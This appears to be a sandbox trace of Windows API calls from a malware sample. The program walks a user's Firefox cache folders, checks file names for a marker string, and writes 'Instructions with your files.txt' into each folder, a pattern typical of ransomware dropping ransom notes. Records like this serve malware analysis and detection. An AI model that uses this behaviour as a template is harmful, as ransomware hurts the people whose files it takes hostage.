[0130.662] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1
[0130.662] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned 97
[0130.663] GetProcessHeap () returned 0x810000
[0130.663] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.663] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*") returned 99
[0130.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.664] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\.") returned 99
[0130.664] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.664] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\..") returned 100
[0130.664] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="98", cAlternateFileName="")) returned 1
[0130.664] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98") returned 100
[0130.664] GetProcessHeap () returned 0x810000
[0130.664] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.665] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*") returned 102
[0130.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.666] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\.") returned 102
[0130.666] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.666] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\..") returned 103
[0130.666] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8cd19f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="B60F3d01", cAlternateFileName="")) returned 1
[0130.666] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01") returned 109
[0130.666] StrStrIW (lpFirst="B60F3d01", lpSrch="SDfghjkl") returned 0x0
[0130.666] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8cd19f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="B60F3d01", cAlternateFileName="")) returned 0
[0130.666] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\Instructions with your files.txt") returned 133
[0130.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.667] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.667] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.667] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.668] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.668] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.668] CloseHandle (hObject=0x12c) returned 1
[0130.668] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.668] GetProcessHeap () returned 0x810000
[0130.668] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.668] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 1
[0130.668] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8") returned 100
[0130.668] GetProcessHeap () returned 0x810000
[0130.668] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.668] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*") returned 102
[0130.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.669] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\.") returned 102
[0130.670] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.670] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\..") returned 103
[0130.670] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x0, dwReserved1=0x0, cFileName="C3B7Bd01", cAlternateFileName="")) returned 1
[0130.670] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01") returned 109
[0130.670] StrStrIW (lpFirst="C3B7Bd01", lpSrch="SDfghjkl") returned 0x0
[0130.670] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x0, dwReserved1=0x0, cFileName="C3B7Bd01", cAlternateFileName="")) returned 0
[0130.670] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\Instructions with your files.txt") returned 133
[0130.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.670] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.671] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.671] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.671] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.671] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.671] CloseHandle (hObject=0x12c) returned 1
[0130.671] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.671] GetProcessHeap () returned 0x810000
[0130.671] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.672] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 0
[0130.672] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\Instructions with your files.txt") returned 130
[0130.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.672] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.673] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.673] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.673] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.673] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.673] CloseHandle (hObject=0x128) returned 1
[0130.673] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.673] GetProcessHeap () returned 0x810000
[0130.673] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.675] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1
[0130.675] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned 97
[0130.675] GetProcessHeap () returned 0x810000
[0130.675] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.675] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*") returned 99
[0130.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.675] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\.") returned 99
[0130.675] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.676] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\..") returned 100
[0130.676] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B", cAlternateFileName="")) returned 1
[0130.676] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B") returned 100
[0130.676] GetProcessHeap () returned 0x810000
[0130.676] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.677] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*") returned 102
[0130.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.677] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\.") returned 102
[0130.677] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.677] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\..") returned 103
[0130.677] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x204fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="FCBF5d01", cAlternateFileName="")) returned 1
[0130.677] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01") returned 109
[0130.677] StrStrIW (lpFirst="FCBF5d01", lpSrch="SDfghjkl") returned 0x0
